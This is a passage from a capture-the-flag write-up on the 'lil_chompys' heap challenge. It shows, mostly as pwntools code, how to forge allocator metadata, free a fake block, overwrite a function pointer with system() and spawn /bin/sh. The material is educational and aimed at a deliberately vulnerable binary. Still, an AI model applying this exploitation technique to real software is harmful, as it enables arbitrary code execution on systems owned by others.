<li><code>19</code> bits containing the size of the previous block, used for the <em>linked list</em></li>
<li>A <code>44</code> bit encoded pointer to the right child in the <em>free tree</em> (if the block is currently free)</li>
<li><code>1</code> bit indicating whether the block is in use</li>
<li><code>19</code> bits ocntaining the size of the next block, used for the <em>linked list</em></li>
</ul>
<p>Freeing a block adds it to the free tree and makes it available for future allocations. This means we could write to <code>submitFuncs</code> by creating a fake metadata block before it, free that, and let the heap management allocate memory from there.</p>
<p>The memory around <code>submitFuncs</code> looks like this:</p>
<div class="highlight"><pre><span></span><code><span class="mh">0x4020</span><span class="o">:</span><span class="w"> </span><span class="n">char</span><span class="o">[</span><span class="mi">50</span><span class="o">]</span><span class="w"> </span><span class="n">main</span><span class="o">::</span><span class="n">password</span><span class="w"> </span><span class="o"><--</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="n">from</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">beginning</span>
<span class="mh">0x4060</span><span class="o">:</span><span class="w"> </span><span class="n">char</span><span class="o">*[</span><span class="mi">9</span><span class="o">]</span><span class="w"> </span><span class="n">funToString</span><span class="w"> </span><span class="o"><--</span><span class="w"> </span><span class="n">should</span><span class="w"> </span><span class="n">be</span><span class="w"> </span><span class="n">preserved</span><span class="w"> </span><span class="n">somewhat</span>
<span class="mh">0x40c0</span><span class="o">:</span><span class="w"> </span><span class="kc">void</span><span class="o">*[</span><span class="mi">8</span><span class="o">]</span><span class="w"> </span><span class="n">submitFuncs</span><span class="w"> </span><span class="o"><--</span><span class="w"> </span><span class="n">target</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">over</span>
<span class="mh">0x4120</span><span class="o">:</span><span class="w"> </span><span class="n">char</span><span class="o">[</span><span class="mi">50</span><span class="o">]</span><span class="w"> </span><span class="n">getLine</span><span class="o">::</span><span class="n">line</span><span class="w"> </span><span class="o"><--</span><span class="w"> </span><span class="n">buffer</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">user</span><span class="w"> </span><span class="n">input</span>
</code></pre></div>
<p>And here we are, back at the pesky password from the start.</p>
<p>Replace this:</p>
<div class="highlight"><pre><span></span><code><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'lilChompy2020!'</span><span class="p">)</span> <span class="c1"># password</span>
</code></pre></div>
<p>... by ...</p>
<div class="highlight"><pre><span></span><code><span class="c1"># encodes an 8 byte block of metadata, setting:</span>
<span class="c1"># - the 44 bit pointer equal to 0</span>
<span class="c1"># - the 1 bit equal to in_use_bit</span>
<span class="c1"># - the 19 size bits (measured in 16 byte blocks) to size</span>
<span class="k">def</span> <span class="nf">encode_8byte_metadata</span><span class="p">(</span><span class="n">in_use_bit</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
<span class="n">value</span> <span class="o">=</span> <span class="mh">0x7ffff</span>
<span class="k">if</span> <span class="n">in_use_bit</span><span class="p">:</span>
<span class="n">value</span> <span class="o">+=</span> <span class="mh">0x80000</span>
<span class="n">value</span> <span class="o">-=</span> <span class="n">size</span>
<span class="k">return</span> <span class="n">value</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span>
<span class="sa">b</span><span class="s1">'lilChompy2020!</span><span class="se">\0\0</span><span class="s1">'</span> <span class="o">+</span> <span class="c1"># password</span>
<span class="n">p64</span><span class="p">(</span><span class="n">encode_8byte_metadata</span><span class="p">(</span><span class="kc">False</span><span class="p">,</span> <span class="mh">0x7fffe</span><span class="p">))</span> <span class="o">+</span> <span class="c1"># first 8 bytes</span>
<span class="n">p64</span><span class="p">(</span><span class="n">encode_8byte_metadata</span><span class="p">(</span><span class="kc">True</span><span class="p">,</span> <span class="mi">14</span><span class="p">))</span> <span class="c1"># last 8 bytes</span>
<span class="p">)</span>
</code></pre></div>
<p>We need to be careful with the metadata, since <code>cg_free()</code> will also try to consolidate free blocks with neighbors from the linked list.
Looking at the implementation, one can see that this process can be stopped by setting the size to an absurdl number (e.g. <code>0x7fffe</code>), which is done here for the size of the previous block. Unfortunately, this does not work for the "next" block, since such a high value here would disrupt the free tree and cause a segfault as soon as memory is allocated.
One way to get past this is creating a successor metadata block and storing it in the <code>getLine::line</code> buffer.</p>
<div class="highlight"><pre><span></span><code><span class="c1"># explained later</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'2'</span><span class="p">)</span> <span class="c1"># create attraction (=> #1) ...</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'3'</span><span class="p">)</span> <span class="c1"># ... of type 3</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'dummy'</span><span class="p">)</span> <span class="c1"># ... with name "dummy"</span>
<span class="n">gdb_password</span> <span class="o">=</span> <span class="mh">0x555555558020</span>
<span class="n">leaked_password</span> <span class="o">=</span> <span class="n">gdb_password</span> <span class="o">-</span> <span class="n">gdb_address_space</span> <span class="o">+</span> <span class="n">program_address_space</span>
<span class="n">leaked_password_meta</span> <span class="o">=</span> <span class="n">leaked_password</span> <span class="o">+</span> <span class="mh">0x20</span> <span class="c1"># the 16 byte block after the metadata in the passwor</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'4'</span><span class="p">)</span> <span class="c1"># rename ...</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'1'</span><span class="p">)</span> <span class="c1"># ... attraction #1</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span> <span class="c1"># ... and set metadata for #2 to:</span>
<span class="n">p32</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="c1"># attraction type 3</span>
<span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="c1"># padding</span>
<span class="n">p64</span><span class="p">(</span><span class="n">leaked_password_meta</span><span class="p">)</span> <span class="c1"># pointer to just after the fake metadata block</span>
<span class="p">)</span>
</code></pre></div>
<p>The new name for attraction 1 serves two purposes: the <code>p64</code> contains a reference to the fake block to be freed. And, by a fortunate coincidence, when the name is interpreted as a metadata block, that address sets the used bit to 1 (at least 50% of the time). The fake metadata block actually points at this new name as a successor block, and the used bit ensures that the consolidation procedure stops here.</p>
<p>Now we need to demolish attraction 2:</p>
<div class="highlight"><pre><span></span><code><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'3'</span><span class="p">)</span> <span class="c1"># demolish ...</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'2'</span><span class="p">)</span> <span class="c1"># ... attraction 2</span>
</code></pre></div>
<p>This frees our fake block and lets the heap management allocate memory from the program's address space.</p>
<p>Now we need to create new attractions to add padding data and overwrite the correct function pointer with one to <code>system()</code>. This was done by trial and error, and the dummy attractions from before enable a useful trick: by freeing only the names from those structures, we can create some free space for the the <code>Attraction</code> structs. This reduces the amount of metadata written to the program's address space and makes it easier to preserve useful data and prevent segfaults.</p>
<div class="highlight"><pre><span></span><code><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'4'</span><span class="p">)</span> <span class="c1"># rename ...</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'4'</span><span class="p">)</span> <span class="c1"># ... attraction 4</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">''</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'2'</span><span class="p">)</span> <span class="c1"># create attraction</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'3'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'B'</span><span class="o">*</span><span class="mi">24</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'4'</span><span class="p">)</span> <span class="c1"># rename ...</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'5'</span><span class="p">)</span> <span class="c1"># ... attraction 4</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">''</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'2'</span><span class="p">)</span> <span class="c1"># create attraction</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'3'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'B'</span><span class="o">*</span><span class="mi">8</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">leaked_password</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">'B'</span><span class="o">*</span><span class="mi">24</span><span class="p">)</span> <span class="c1"># let funToString[3] point to a valid address</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'2'</span><span class="p">)</span> <span class="c1"># create attraction</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'3'</span><span class="p">)</span>
<span class="c1"># let submitFuncs[2] (used for attractions of type 3) point to libc system()</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'B'</span><span class="o">*</span><span class="mi">32</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc_address_space</span> <span class="o">+</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'system'</span><span class="p">]))</span>
</code></pre></div>
<p>And now, just rename the first attraction to <code>/bin/sh</code>, and submit the park. This will execute <code>system("/bin/sh")</code>:</p>
<div class="highlight"><pre><span></span><code><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'4'</span><span class="p">)</span> <span class="c1"># rename ...</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'1'</span><span class="p">)</span> <span class="c1"># ... attraction 1</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'/bin/sh</span><span class="se">\0</span><span class="s1">'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'5'</span><span class="p">)</span> <span class="c1"># submit park</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'cat flag.txt'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
<p>For the <a href="https://w0y.at/images/sunshinectf2020/lil_chompys/lil_chompys_exploit_full.py">full exploit, see here</a>.</p>